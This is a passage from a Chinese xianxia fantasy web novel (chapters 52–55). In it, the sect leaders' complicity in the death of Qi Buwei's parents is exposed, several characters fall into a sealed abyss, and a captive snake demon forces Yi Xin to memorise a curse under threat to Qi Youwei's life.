随着一道龙吟,蛟龙盘踞在黑云中,铁甲黑磷,寒光冷冽,探出来的蛟首,头角峥嵘,巨目缓慢移动,仿佛能听见咕噜开合之声。
广场上惊吓不已。
天坛众人,面无血色。
52. 第二十一章
“祁不为,你……!”电闪雷鸣中,钱备怒吼道。
李纳川望着盘踞乌云中的蛟妖,面色难言。
钱备缓过神来,对祁不为问道:“它没死?你收服了这头蛟妖?”
“它受了重伤,恰巧被我发现,我想下手时,它却告诉我当年父母之死有隐情。”祁不为冷道。
众人面色各异,最后还是李纳川出言:“让它化作人形吧。广场上和山脚下的人看见它,恐受惊吓。我们去大殿。”
这是要密谈之意。
祁不为唇角扯动,眼里却看不出笑意。
李纳川抬手施法,瞬间,天坛上众人消失得无影无踪,只留下一道仙门弟子待命的指令。
蛟妖一走,乌云渐渐散去,金光破云而出,又变得晴空万里。
远处,易辛望着眼前这番变故,对身旁易张稚问道:“我们能靠近点,听他们在说什么吗?”
易张稚朝她颔首,眨眼间,两人移形换景,闪身至大殿屋顶。
易辛吓了一跳,连忙稳住身形,慢慢蹲下,揭开瓦片,露出隐晦一角。
易张稚坐在屋檐上,目光远眺,耳边却听得一丝不漏。
透过瓦片,易辛看见站在大殿中央的伏麟,他罩在黑袍里,面上完好无损。
祁不为把他治好了吗?……忽然,在伏麟环顾四周时,她看见他脖颈上露出些微伤痕,看来没有全好,所以用黑袍遮住了伤口。
这时,易辛听见有人责问祁不为。
“这蛟妖害死你父母,你能杀他却不杀,竟然留到现在?!”
祁不为反唇相讥:“若是杀了他,我还能听到隐情?”
“你——”那人深吸一口气,怒道,“他说隐情便是隐情?妖怪的话你也听?何况他是杀你父母的凶手!”
伏麟开口:“我不是当年与祁连山徐晴岚大战的蛟妖,只是他的手下。当年大战,我并未参与。”
“撒谎!当年就是你找上门来,我认得你这张脸!”
那人脱口而出,旋即面色一白。钱备心里暗骂蠢货。
祁不为神色倏变,目前为止,他并不知道所谓隐情,伏麟坚持要当着众人之面开口,怕他早早说出会遭到祁不为的出尔反尔。
这是祁不为第一次听到,但听此人说话,明显仙门与当年蛟妖有过接触。
祁有为也听出端倪,当即问道:“蛟妖找过你?据我所知,那时师父师娘遇上蛟妖,送我回来求援,诸位掌门没应,你们可是根本没和蛟妖打过照面。”
那人心虚,瞥了伏麟一眼,想辩解,却无话可说。
祁有为面色微凝,对伏麟道:“继续。”
伏麟:“当年蛟妖名为谛听。谛听知道祁连山曾打算号召仙门百家屠杀自己,所以想了个方法试图逐个击破。他派我暗中接触各位掌门,告诉他们,只要他们不出手,事后谛听也不会寻仙门麻烦,大家各自安好。他只想杀死祁连山徐晴岚。”
伏麟停顿片刻,似乎在给众人反应时间。
屋檐上,易辛听得震惊不已,这是谛听和仙门百家对清风夫妇的合力绞杀……
比起他们未施以援手,这更让人难以接受。
祁不为一时没反应过来似的,神情愣怔,茫然得有些可怜,仿佛又回到了当初孤立无援的时候。
祁有为也足足静了好半晌,才道:“接着说。”
伏麟:“谛听找上游历在外的你们。后来发生的事,你在场,也全部知道了。祁连山和徐晴岚不敌谛听,危急时刻,把你传回甘华门。求援苦苦不来,后来就……”
“战死了”三个字,伏麟没有说出口。
大殿陷入诡异的寂静。众人谁都没看祁家姐弟,有人眉眼上的心虚转瞬即逝,却并不畏惧。
崔掌门率先反击:“捏个伏麟的名字出来,谛听就不是你了?当初是你口口声声说的那些话,你就是谛听,是杀死祁连山和徐晴岚的罪魁祸首!”
伏麟淡淡瞥了他一眼:“谛听谨慎,那时为了试探你们的态度,才让我声称自己就是谛听,并以他的口吻和名义跟你们交谈。如果你们对我出手,他事后也不会放过反抗的人。”
伏麟微微笑了:“——但你们,没有一个人反抗。”
此话一出,大殿又是死一般的静默,空气里仿佛流动着无声的巴掌。
角落里,余桓感到不可思议,已经无法用震惊来形容他的心情。他觉得幻灭、荒谬。
仙门一群翘楚,竟然听了一只妖怪的话,默许妖怪杀掉仙门之首。
忽然,他看见祁不为慢慢转过头,僵硬无比,仿佛受着凌迟般的痛苦,最后把目光定在李纳川身上,语调飘忽:“当初我爹娘把我留在甘华门养伤,那时你就见过谛听了?”
李纳川神色怔怔,最后很轻很轻地点了下头。
祁不为面孔灰败,犹如覆了层死气。
一片死寂中,祁有为忽然发问:“他们的反应如出一辙,谛听应该事先也知道什么吧?”
伏麟不由得赞赏地看了这名安静而立的女子一眼:“仙门这么大一个帮派,利益勾连。而祁连山二人声名在外,必然碍了谁人的眼。谛听偶然发现他们背着祁连山私联,商议之事不外乎针对清风山庄,要它登高跌重。有人赞同,有人拒绝。但拒绝的人若是发声,一定会比祁连山先遭殃。”
“他们未必想害死祁连山,只是谛听把机会摆在了他们眼前。”
所以伏麟才会一个一个找上门,暗中接触。不管他们愿不愿意,只要不动作,便是默许。
这些掌权人比那对惨死的夫妇更早知道,某一日下山游历后,他们将会走向不归路。
无人举刀,但每个人都默默地把他们推向了死路。
大殿内静得落针可闻,却难以听见羞愧的心跳。
钱备骤然出手,手心聚满灵力,一掌拍向伏麟。
伏麟惊诧,不及格挡,祁有为震动衣袖,撞碎钱备袭来的那掌灵力,掌风携着灵力四处溃散,如同迸溅的碎片,扎向在座每一位门派首领。
场面一时硝烟弥漫。
祁不为抬手,伏麟倏地化作一条小蛇,飞速钻入他衣袖里,盘臂而上。
钱备声音严厉,斥责道:“祁庄主!那妖道把仙门搅成一团,我出手收拾,你阻拦是何意?”
“这桩事尚未了结,钱宗主何必着急杀人灭口。”祁有为冷静道。
钱备还想说些什么,但见祁不为越过他阿姐,走到身前,满面阴戾:“此事,你们应该给我们一个交代!”
“你们口口声声说妖不容于仙门,斥骂甘华门和妖邪同流合污,那你们听命于那头蛟妖,又该当如何!”
李纳川垂下头,有人偏过脸,还有人直视祁不为,眼里似有怒火。
钱备直面祁不为的诘问,不闪不躲,片刻后,冷硬道:“该当如何?!你想要我们该当如何?我们就是干下了这件事,你们该当如何!”
他是如此理直气壮地反问,即便祁不为怒火难熄,也不禁愣住了。
钱备:“诸位不过是形势所迫罢了!数百年来,仙门再未出过得道飞升者。如今已是江河日下,面对根本抵挡不过的敌人,对方有心放我们一马,我们为何不韬光养晦!抓紧时间建设仙门!”
“你说什么……”祁不为怀疑自己耳朵出错了,荒谬地叫人发笑。
“你要我们救祁连山和徐晴岚,可那蛟妖已近化龙,我们若出手,必是伤亡惨重,那不叫救人!不叫除魔卫道!那只是白白牺牲!死得毫无价值,毫无意义!”
祁不为高声驳斥:“可蛟妖当前,屠妖是职责所在!分明是你们贪生怕死!”
钱备根本不怒,堪称冷静:“我们是人,不是神!人怕死,乃是天性!若是可以不死,我等为何非要去送死!如果只死一两个人,便可换来数十年的太平!有何不可!”
祁不为满脸不可置信,胸口里一腔怒火竟发泄不出来,而钱备这种毫无底线的人,还在不知死活地添油加柴。
钱备:“只因他们是你爹娘,你便要我们不顾性命,舍生忘死去相救!你没有这个立场和资格!倘若我们去了,那些死在蛟妖手下的掌门和弟子要如何?他们的家人又当如何?你们一家以死谢罪吗!四个人抵成百上千的人命,够吗!”
“那你便肯定谛听往后不会动仙门?唇亡齿寒的道理,你们不懂?!”
“可事实是祁连山他们杀了蛟妖,保了仙门
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和四方百姓十多年的安危!”
“如果他们当初没杀死蛟妖呢!”
“祁连山和徐晴岚都会清风山庄秘术——鹤发。他们用秘术在短时间内提高修为,杀了蛟妖。就算杀不死蛟妖,也可重伤,那时仙门再去收拾残局,可把伤亡损失降至最低!”
祁不为顿住,心头猛地一震:“你们……知道我爹娘学会了这个术法?”
鹤发可强行提升修为,施术者瞬间白头,代价自是生命。这等秘术已经断了几代,直到祁连山这一任庄主,才重新学会了它。
他恍然大悟,指尖颤抖不停,说话时好像被谁掐住了脖子:“鹤发也在你们算计之中……你们逼得我爹娘用它!所以根本不怕蛟妖事后反悔找上仙门!”
钱备就像一堵坚硬的墙,如论祁不为如何刀枪剑戟齐上阵,始终认为错不在己:“仙门百家之中,能让修为倍增且效力如此之大的法术,仅你们清风山庄持有。他们既然会,此时不用更待何时?为何要拖我们下水。他们也是仙门,更是仙首,当作表率!你要我们作出牺牲,他们就做不得了吗!”
“若你是他们,你会像他们一样做吗!”祁不为脱口而出。
“会——!”这道声音近乎咆哮,钱备答得堪称毫不犹豫、斩钉截铁、铿锵有力!
大殿里来回驳斥的声音猝然息了下去。
祁不为再一次被震惊了。
归根结底,即使祁不为重生为人,也不过多活了几个月,前世他死时,二十岁都不到。而钱备已经活了四十多年,民间有两句话最能概括这两个人——我吃过的盐比你吃过的饭还多,姜还是老的辣!
斗来斗去,祁不为根本斗不过钱备,唯有前世那般,借助妖力,在极致的修为辗压之下,对仙门白刀子进红刀子出,如此才足够快意足够泄恨!
再看如今,祁不为只能气到极致,胸口起伏,面目狰狞得吓人。
他根本不信钱备能如此深明大义、舍己为人,只是如今天下太平,漂亮话谁能都说得天花乱坠。
其余人心思各异,但无一不佩服钱备的“雄辩之才”。不论怀有何种私心,他们都知道当年是自己不义,只是未必能做到钱备这样三言两语“扭转乾坤”,既能指责祁不为“道德绑架”,又显得自己“大义凛然”。
至此已无话可说,事实真相大白,钱备知道祁不为想要什么,巍然不动道:“你不惜搅乱仙首大会,放蛟妖恐吓我等,那么,你想做什么?你想我们做什么?”
祁不为瞪着一双血红的眼睛,他希望他们罪有应得,可仙门蛇鼠一窝,算来算去,甚至不如前世屠戮仙门那样来得痛快。
钱备继续道:“你想杀了我们,要我们以死谢罪?然后呢,仙门群龙无首,实力大减,妖邪开始兴风作浪?最后吃苦头丢命的,只是那些无辜百姓。”
“没救你爹娘,你可以认为我们不道义。但需要付出性命的营救,你也无权要我们舍弃性命。你爹娘的命是命,我们的命也是命。你觉得我们不对,但我们未必有错。”
下一瞬,钱备唰地拔剑出鞘,翻转手腕,剑柄朝向祁不为:“但你若心中太恨,可以杀我。”
话语铿锵,振聋发聩,好像对钱备连斥责也不该有,而祁不为,诡异地成了咄咄逼人的一方。
祁不为手捏成拳,愤恨盯住钱备,仿佛磨牙吮血的猛兽。
钱备同样注视着祁不为,眼神平静,威严,好似一番激烈言辞后,愿用命真心实意换他释然。
两人对峙,空气里暗流涌动,众人目不转睛。
祁不为感到血腥味从唇舌与齿关里迸出来,火似乎从心口流出,烧灼着五脏六肺。
再这样下去,他会失控的。
他不能杀钱备,一旦动手,风言风语会把清风山庄置于何种境地,他无法预测。最糟糕的莫过于像前世一样重蹈覆辙。仙门把他当作异类,强迫祁有为和自己割席。
他一遍遍压制心火,可又忍不住恨得咬牙切齿,忽然之间,他觉得自己真窝囊、真无能……
他怎么能……被钱备耍得团团转?!
就在这时,意外横生。
一直沉默的祁有为骤然握住剑柄,运力向前,刺向钱备。
53. 第二十二章
下一刻,祁有为手中长剑倏然不见。
她淡淡笑了下:“原来只是嘴上说说而已啊,钱宗主看来不是诚心求死呢,装姿态就不必了。”
剑是有主的,祁有为当然没办法把它突然变没,唯一的解释就是钱备时刻准备着,一旦祁不为有异动,他就会收剑。
钱备笃定祁不为尚有几分理智,不会动手,只是万事要大全,做了个准备,唯独没料到偏偏是祁有为动了手。
这一下,钱备颜面尽失。
钱备脸色顿时难看至极。
众人保全钱备面子,都没去看他,角落里的余桓却发话了,义愤填膺道:“各位掌门若因为各有难处,无法施救,也不该是这副理直气壮的样子,最起码——要对已逝之人心怀愧疚,尊敬有加!而非一味为自己脱罪,为自己伸张正义!”
余桓继续道:“就算你们不觉得自己有错,也断然不能把祁公子他们逼得好像无理之人!更不必说你们默许谛听杀死前任庄主和夫人,就是有错!就是违背了仙门道义!”
李纳川想把余桓拉回来,祁不为等人好歹占理,仙门不会拿他们如何,但余桓身负妖族血统,本就是眼中钉,如今还强出头。
手伸到一半,李纳川忽又顿住了,接着缓缓垂了下来,也许当年……他就应该像余桓这样,才不至于午夜梦回,日日悔恨。
钱备大为光火:“你这妖道,仙门之事,岂容你插手!”
余桓:“仙门不义,我为何说不得。众门派弟子说得,平头百姓说得,只要有错处,即使是妖,也能说!
“你——”钱备上前两步,却被祁不为挡住了去路。
祁不为:“我们的事,还没完。”
“你还想如何?让我们都给你下跪磕头?还是去黄泉地府陪你爹娘!”
陪他爹娘?他真的嫌脏。祁不为面孔僵硬,仿佛极力克制怒火,最后冷冷道:“你说的对,我不能拿你如何,你们既然是仙门各家之首,是弟子们的榜样、标杆,就让他们来审判你们。”
钱备面色一沉,不知祁不为要做什么。
“虽然我们在大殿里,但这里每一句话都传到广场上去了。”祁不为缓缓说道。
钱备等人全部愣住。
屋檐上,易张稚也跟着愣了一下,然后偏头去看易辛,只见她从衣服里拿出一张传音符纸。
与之相对,另一张符纸正悠悠飘荡在广场上空,大殿内的谈话,他们听得一清二楚,众人皆是惊诧不已。
所有人都知晓,各门派首领和蛟妖达成交易,放任祁连山和徐晴岚去死。
这必然是很长一段时间里,大家私下里议论纷纷的丑闻,每位掌门行令禁止时,对上余人的目光,不免会想他们是否在鄙夷自己,是否憎恨自己,是否谴责自己。
这些人会在若有似无、真真假假的凝视中,深受折磨。
在仙首大会前一日,易辛知道祁不为有翻出旧事的打算,便向祁家姐弟提了这个建议。
起初本是想让易辛随从,但无论上天坛还是去大殿,都没有侍女跟随的例子,未免钱备等人疑心,他们决定让易辛随机应变,即使最后没有成功,也无所谓。
但是当易辛落在屋檐上时,祁不为便感应到了她的存在,好在众人并未注意,大概都被蛟妖和旧事骇住了心神。
易辛收好符纸。这些事,终于真相大白了,任何人都无法借机杜撰。
大殿内始料未及,良久过后,钱备仿佛已经接受了现状,面色冷硬如铁,再开口时依旧威严:“行。今日发生这么多事,现在就一桩一桩来解决。先解决余桓这只茧妖,再来商谈如何审判我们这些掌门。”
话落,钱备高喝一声崔掌门。
绞魂鞭应声而出,撕裂空气,朝余桓迅疾而去。
钱备和崔掌门出手都太快,而长鞭势如闪电,祁不为等人反应不及,就在长鞭即将锁住余桓时,李纳川一把将人推出大殿外。
绞魂鞭刮过李纳川胸口,时间不够,他施法催生出的屏障一碰即碎,胸口刹那勾出道道血肉,染红一片。
“师父!”
半空中,余桓几乎哭喊道,余光里忽然闪过一道影子,血腥味扑鼻而来。
——白三清!
余桓率先坠地,白三清在地上滚了几圈,缩成了一只白狐,前爪若是没有骨头连住,几乎断成几截,可见伤口极深,立马在地上泼出一摊血。
原是余桓躲过绞魂鞭时,被勾住了乾坤袋,伤到了白三清。
余桓慌张地抱起白三清:“小白?!”
他抬手就替白三清疗伤,白三清有气无力道:“呆子……你师父把你打出大殿,就是要你快逃……把我放下吧……我流血了……会被追踪气味的……”
余桓为狐妖焦灼的神情,被大殿和广场一览无余。
钱备讽刺道:“李纳川,你这徒弟不光身体是妖,恐怕连心也是妖怪的了!”
顿时,一道声如洪钟的命令响彻广场:“仙门听令!余桓为妖,务必捉拿!若敢反抗,就地诛杀!”
余桓抬头去看钱备,那人依旧威严冷漠,好像自己确实是个十恶不赦的妖怪,透过人群,只见李纳川正坐在地上给自己疗伤,他已满头华发,痛得有些呼哧带喘。
师父……真的老了。
余桓眼圈一热,抱紧白三清,御剑飞离。
广场上骤然闪过冷光,刀光剑影间,数百名仙门弟子齐齐御剑而行,追逐余桓而去。虽有仙门丑闻在前,但他们已经习惯了听命行事,何况余桓确实是个妖怪,又和狐妖有染!追杀他总归没错!
忽有几道影子破光而出,擦身而过时,顿感气势凛冽。
钱备和几位掌门亲自追去。
祁有为紧随其后,大喊道:“各位掌门,何必大动干戈!”
钱衡轻蔑回道:“祁庄主,你替妖怪说话,小心引火上身。”
说罢,他掠过祁有为,追在钱备身后,并吆喝着那帮二世祖速速跟上。
一群人拖家带口,追袭孤苦伶仃的余桓。
“别跟他们废话,他们在拿余桓出气。”祁不为说道。
姐弟俩对视一眼,赶紧跟上,很快越过大片人马,与钱衡等人齐头并进。
无人发现,或是没有在意,易张稚载着易辛,同样御剑飞行地跟了上来。
在钱备指挥下,仙门兵分三路,两面包抄,尾巴截断。
余桓被追上,是迟早的事。
可他除了逃,别无他法,白三清鲜血洒了一路,滴在追袭之人身上。
终于,两面汇合,堵住了余桓去路。
众人成包围之势,余桓孤立无援地立在中央,紧紧握住剑,面上孤勇而难过。
祁不为刹停,路上的一滴血啪地拍在额头上,仿佛伸手不见五指的漆黑中,忽然滴落一颗水珠,卷起难以名状的紧张与恐惧。
祁不为僵硬而缓慢地低下头,脚下正伏着一条漆黑裂缝,状似天堑。
白三清前爪鲜血淋漓,一滴一滴落在裂缝结界上,荡起圈圈向外的涟漪流光,而血液迅速蒸腾气化。
余
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桓:“这只狐妖是无辜的,她没害人……你们抓我可以,但请治好她……”
“你也是妖怪,没资格谈条件……”
祁不为根本听不进他们的挣扎与冷漠,整个人仿佛被裂缝勾住了,恐惧如蚂蚁一样,一点一点噬咬肺腑。
他们……竟然误打误撞到了封印之地!
在白三清又一次滴血时,那滴血竟毫无阻碍地落进了深渊里,再也看不见结界流光。
深渊漆黑,无边无际,但祁不为好像能看见底下的怪物,正张着口,饮白三清的妖血。
体内被蚂蚁噬咬的地方,骤然坍塌,祁不为顿时头重脚轻,高喊一声:“快跑!”
这一声可谓撕心裂肺。
随着话音落下,裂缝上空的人们骤感一股巨大的吸力,余桓抱着白三清,猝不及防坠落而下,遭殃的还有祁不为。
他恰好就在裂缝边缘。
该死!
他想召唤不思量,可不思量比他掉得更快。
下一瞬,有人握住了他的手,祁有为借力在空中一旋,把他甩向空中,自己却止不住下坠的趋势。
两道声音同时响起。
“阿姐!”祁不为几乎目眦欲裂。
“祁有为!”易张稚脸上闪过害怕,不管不顾地跳下剑,施术加速朝祁有为而去。
无刃没了主人加持,骤然失去力量,易辛措手不及地向深渊倒栽而去。
她甚至完全没来得及反应,便与空中的祁不为擦肩而过。
“易辛……”祁不为瞳孔皱缩,嘴唇蠕动,发不出声音。
不思量终于裹着一道清光,从深渊冲出,稳稳接住祁不为,再带他俯冲而去。
祁不为朝易辛拼命伸手,狂风凛冽。
顷刻之间,祁不为感到一股阻力,深渊涌现两点猩红,越来越近,接着是白得反光的獠牙。
一头巨蟒破渊而出,仰着血盆大口,带来冰冷窒息的杀意,仿佛一头饿了千年之久的凶兽,为鲜血皮肉兴奋得战栗不已。
祁不为本能地绝望,他知道这头蛇妖多么强大。
就在下一秒,巨蟒吞掉了祁有为和易辛。
祁不为面上空白,一时不知天地为何物,脑子、身体皆白茫茫一片。巨蟒袭来,却不知躲避,瞬间被撞向山壁,人与剑齐齐坠向无尽深渊。
巨蟒咆哮一声,在裂缝微高处跃出头颅与半截身子,猩红而冰冷的竖瞳将仙门映入眼底。
铺天盖地的威压袭来,修行差些的,已昏迷着从半空中栽倒,钱备等诸位掌门从未见过这条巨蟒。几息之间,那巨蟒已重新伏入深渊,仿佛刚才只是循着血腥味出来觅食。
仙门全部愣住,似乎过了很久,其实只短短几个呼吸,众人不约而同捂住心口。
钱备率先回神,并立即发现这道结界不同寻常:“后撤!离此地远一点!这是双重结界!巨蟒出不来!但人能掉进去!”
方才他瞥见巨蟒的身躯碰到裂缝,又激出了结界流光。之前甘华门镇守这道结界时,不能出也不能进。方才不知如何,进入深渊的结界解开了,那蟒蛇把倒霉人给吸了下去。
仙门弟子胆战心惊地纷纷后退,人群里忽然出现几道逆流,竟直直跳入深渊,偏生口中还惨叫连连。
钱备怒从心起,刚想骂何人不长脑子,仔细一看,却是自己儿子钱衡。
继而接连响起几位掌门呼唤子女之声。
众人见状,顿时吓得屁滚尿流:“那蛇妖还想吃人!”
“快跑啊!要离它几丈远!”
54. 第二十三章
“易辛,醒醒……易辛……”
依稀间,仿佛有人在叫自己,易辛朦胧睁眼,昏暗中有道模糊的影子,再往上看,漆黑一片,仿佛浓得化不开的墨水。
易辛心中一紧,鲤鱼打挺般起身。
祁有为松了口气:“还好你醒了。”
易辛环顾四周,遍布巨大岩石,一座又一座,身侧却有微亮,是处洞口透出来的光。
“我们……不是被蛇吃了吗?”易辛回想起那瞬间的画面。
“它把我们吐出来了,就在这。你看,还有涎液呢。”祁有为指着地面上反射的微光说道。
易辛顿觉瘆人恶心,可是身上却很清爽,应该是祁有为处理过了。
两人搀扶着起身,易辛问道:“公子呢?还有余桓师兄和小白?他们也掉下来了吧?还有易公子。”
“不知道他们去了哪里,那头巨蟒没杀我们,应该也不会立即对他们如何,”祁有为分析道,“巨蟒把我们送到这里,应该是希望我们进去。”
祁有为目光落到山洞口。
易辛昏迷时,她便背着人走了几处,无论往哪走,最后总会回到这里。
闻言,易辛也循着目光看向山洞,抿唇点头:“……好,既来之则安之。我努力不拖庄主后腿,如果我跑不赢,庄主就自己……”
说着,她就想解下自己的桃木手链,却被祁有为拉住了手:“想多了。我打不赢那头巨蟒,也跑不赢那头巨蟒,大家最后一起做个伴吧。”
从巨蟒现身那一刻起,它便是碾压的存在。
易辛还想说些什么,又觉得祁有为说得有理,最后只好点点头。
两人一起走向山洞。
山洞不似外边粗糙荒芜,往里别有一番天地。
洞内流水潺潺,镶了十数颗小巧的夜明珠,衬托流水如灿烂银河。向里是一片岩石空地,有床榻、书架、甚至还有煎茶小炉。
古朴宁静,烟气袅袅。
不知是谁在这里生活。
流水将洞口和空地隔开,中间连着跳岩。
“有人吗?”祁有为环顾四周,问道。
“应该没人,只有妖。”易辛小声道。
祁有为不合时宜地笑了,脚边水面忽然动了。
易辛连忙捂紧了嘴巴,才不至于惊叫出声,那是一条正常大小的水蛇,沿着流水游向岸边空地,渐而化形成一位老者。
匀丘头也不回,走向小炉边,替自己斟了一杯茶:“进来吧。好久没人来了。”
两人对视一眼,迈过跳岩,缓步走向匀丘。
“这位老人家,外面那头巨蟒您认识么?”情况不明,祁有为说话很客气。
“我弟弟。”
“……”祁有为又问,“您为何呆在此地?”
“呆?”匀丘笑了一下,但眼中并无笑意,“你愿意呆在这种鬼地方?活个上千年?”
易辛惊讶,意思是他和巨蟒至少有千年修为。
祁有为显然也有些震惊,但还是继续礼貌发问:“那您可是和谁结了仇?”
匀丘往上指了指。
“天?”祁有为揣测道,“天上的神仙?”
祁有为说了几个古籍记载的神仙,匀丘却嘲讽一笑,摇头:“那些个文官,只会跟故纸堆打交道,成日一副老神在在高深莫测的样子,打架没个屁用。”
“那谁打架比较厉害?”
“他们在天上无所事事,只会给被贬下凡的神仙安排些情情爱爱的烂本子。要论腿脚功夫,说实在的,还真不如地府那帮人。他们整天收魂杀鬼,好歹会活动筋骨。”
祁有为难住了,摩挲下巴,低喃道:“仙门求仙问道,对天上那些神仙了解比较多,地府……还真不太了解。牛头马面……?”
易辛接过了祁有为的呢喃,悄声道:“酆都大帝、十殿阎罗、阎王……”
匀丘打断了易辛的细数:“这些神和天上的没两样,深居简出,轻易不入凡间,何况我是妖,不是鬼,我们互不干涉。”
易辛:“……那黑白无常?”
匀丘的动作顿了一下,抬起头来,眼睛眯起,似在回忆:“白无常……确实和他交过手,当时他身边还有个天界的小娃娃。”
天界小娃娃?易辛迟疑道:“那白无常能打,还是小娃娃?”
“当然是小娃娃,天界战神,琼火。”
此话一出,易辛和祁有为皆有惊诧。两人猜测,约莫是这个名为琼火的天神把他和巨蟒关在了这里。
匀丘喝了口茶,慰叹道:“果然还是得有人下来,不然太无聊了。”
说罢,匀丘朝两人投来视线,笑得意味不明。
气氛陡然诡异起来,仿佛危机四伏。
祁有为不动声色绷起身子,面上依旧和善:“老先生,如果能让您开心,还有什么是我们能做的?”
匀丘向她们招手,示意在他面前落座:“过来坐着说。”
“好。”
祁有为牵起易辛的手,忽然发现自己步子根本迈不出去,紧接着,全身针刺般痛了起来,越抵触越痛。
易辛不明所以,有些慌张:“庄主……你怎么了?”
“我动不了……你没事?”祁有为惊奇道。
易辛蹙眉,看看手,动动脚,完全自如。
两人正奇怪,匀丘笑了起来:“噢?居然有个普通人?那你便自行过来吧。”
易辛来回看看,祁有为忍住疼痛,握住她手腕,吃力地看向匀丘:“还请老先生解惑。”
“我张开了樊笼大阵,凡修行者,皆会全身疼痛,难以动弹。”
祁有为明白了,这樊笼大阵,专克修行之人。修行之人运行经脉灵力,就像呼吸一样,毫无意识。而易辛这种不修行的人,反而不受大阵限制。
一入这种阵法,就是人为刀俎我为鱼肉。
祁有为暗自心惊,这个妖怪修为已经了不得,竟还会这种逆天阵法。
“别担心,我暂时不会杀你。无聊了这么多年,不好好玩玩,直接就杀了多可惜。”匀丘说道。
易辛依旧迟疑,祁有为显然一时也拿不定主意,只死死抓住她的手腕。
“别拖延了,你拖一分,她便多受罪一分,”匀丘又催促道,“我耐心不好。”
话已至此,易辛只好挣脱祁有为,向她点点头,紧张而小心地走向匀丘对面,坐下。
匀丘变出一道卷轴,抓住一边,甩手扬起。卷轴铺在长桌上,骨碌展开,写满了密密麻麻的字。
“我创了一种咒术,名为得失咒。
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”
易辛猛地顿住,得失咒?祁不为是在这里学会的得失咒!
“你在一炷香内学会它,我就放你们二人离开这处山洞。”
意识到什么,易辛立即看向卷轴,回忆起得失咒语的用法。
施咒者要在心里默背咒语,再亲手制作三样东西,喊出咒术对象的名字,将东西送给对方。咒成之际,施咒者可从对方那里取走任意一样东西。
从头发至性命,大小不一。效力也会受到施咒者能力和对象能力影响。
匀丘的解释与她的回忆一致。
可是面对那份卷轴,易辛根本不信有人能在一炷香内背下来,咒语太长太多了,甚至不是语句通顺的话。
何况她没有过目不忘的能力。
可匀丘不会体谅她的难处,带着捉弄人的笑意望向祁有为:“我会在你身上施咒,这一柱香之内,她要对我背诵三次,我也会送你三次东西。若最后一次她失败了,我就会取走你的性命。”
祁有为皱起眉头。易辛顿觉晴天霹雳,面色一白,下意识道:“可否换一下,你对我施咒,她——”
匀丘堪称温和地打断易辛:“不能,因为你已经走到了我面前。越看你急得像热锅上的蚂蚁,我就越舒心。”
说白了,他以玩弄人命为乐。
一瞬间,易辛不明白琼火为何不直接杀掉他,而是仅仅镇压在此地。
“对了,如果你们赢了,也有奖励,”匀丘变出一面镜子,“此为上古神明留下来的光阴镜,可看过去。你们赢了,就能得到它,得失咒也传习给你们。”
望着那面镜子,易辛目光一刺,呼吸乱了几分。
匀丘眯起眼,审视易辛:“你好像见过它?”
“没有……”易辛稳住呼吸,“这面镜子不是随你呆在这里吗?我怎么会见过它?”
匀丘大手一挥,镜子倏地飞过来。
易辛瞪大眼睛,难道他想看自己的过去吗?!
旋即,镜子停在了祁有为面前。匀丘施法运转光阴镜,镜面呈现出祁有为的过去。
匀丘:“噢?真可怜。流浪了那么久,好不容易被收留了,亲如爹娘的师父师娘又死了。”
他看得津津有味,时不时点评两句:“仙门不是最讲道义吗?如今也这么无赖了?早知道应该多抓些人下来玩。要怪就怪你们倒霉,站在风口上。”
祁有为并不作声,有意识地遏制灵力运转,减轻痛楚。
看完后,匀丘瞬身至易辛跟前:“我知道她的名字了,祁有为。既然如此,就开始背咒吧。”
不等易辛反对,一樽小香炉突然移到她面前,香头已经点起了明亮火光。
“我——”易辛想说些什么,最后又急又气地闭上嘴,连忙绕过桌面,走到卷轴起始位置,全神贯注地去记。
她决定先大致浏览一遍,可那些字晦涩难懂,大多难以连成词句,等她读至末尾时,忽闻摇铃声。
铃声在如此安静的方寸之地内骤响,如同催命符,易辛狠狠颤了一下,心口惴惴。
易辛立即转头去看,匀丘摇响手边金铃,桌上香火已经烧过三分之一。
这么快?!
匀丘扬手,一杯茶送至祁有为身前:“祁有为,送你,第一杯。”
55. 第二十四章
“不、等等……”易辛下意识想去抢茶杯,但祁有为以眼神制止了,她平静地喝下那杯茶:“味道不错。”
匀丘一笑,又转向易辛:“咒语习得如何?”
喝茶期间,香火会停止燃烧,同时,卷轴上的字也会消失得一干二净。
易辛脑中混乱,完全想不起第一句是什么,通读下来,只觉空白一片。
“没背下来……”她声音抑制不住地发颤,“我……继续背。”
匀丘但笑不语,将茶水全部倒干净,重新煮上一壶。他把泥壶放在小炉上,烟火的气味逐渐弥漫在空气中。
易辛强迫自己镇静,把那些字一个一个塞进脑海里,可越是如此,越是适得其反。
她人还端正站在卷轴前,头脑却有眩晕,手脚冰凉。
抬头瞥一眼炉中小火,火苗微微摇晃,炙烤着泥壶,仿佛烤的不是茶水,而是她这具躯壳。
她将指甲掐入掌心,深呼吸几番,再度逼迫自己去背那些难言的咒语。
当泥壶的盖子扑哧扑哧地撞击壶身时,易辛整个人一抖,不知觉间,冷汗已经打湿了卷轴。
匀丘朝易辛投来一个微笑,拿起泥壶清洗茶具。煮开的第一壶水不泡茶,第二壶才是。
平地上只剩泥壶烧茶的声音。当一声长鸣响起时,茶水又烧开了。
匀丘把茶水倒入杯盏中,茶叶打着旋,杯口冒出袅袅热气,清香氤氲。
香火快要燃过三分之二。
易辛偏移视线,卷轴末尾离自己还有很长距离,她连一半都没背下来……
再者前面记住的,难免有错漏。
当初祁不为是怀着如此绝望的心情,拼命去背的吗?
可她无法背负祁有为的性命,时辰还有剩余,但她十分清楚——
她根本背不下来!
身上早已汗湿一片,易辛抬手抹了把额角,铃声再度响起。
第二杯茶又送到了祁有为手边。
“祁有为,第二杯,依旧送你。”
话虽对着祁有为说,匀丘却是饶有兴味地望着易辛,看得出来,她已经摇摇欲坠。
想到最后二人被逼疯的时刻,他握着茶杯的手不禁颤抖。
“背得如何?”
易辛声音干涩发紧:“背不出来……”
“那就继续背。”匀丘笑道。
卷轴上浮现细密笔墨,可易辛动也未动,匀丘微有疑惑,忽然听她说道。
“我不背了。我根本背不下来。”
易辛捏紧手指,仿佛鼓足了勇气,在那一刻终于做了决定。
匀丘愣了须臾:“你不想救她?”
“想救。而且一定要救。”
祁有为不能死,易辛深呼吸,如果她死了,那么重生的意义是什么呢?
就算没有祁不为,易辛也想竭尽所能帮她。她那么好,不该英年早逝的。
易辛走到匀丘面前,看了看他,又不客气地拿起桌上未动的茶,茶水已经晾了一会儿,她小心啜饮。
茶水略烫,但流经肚腹,颇有几分慰藉舒缓之感。
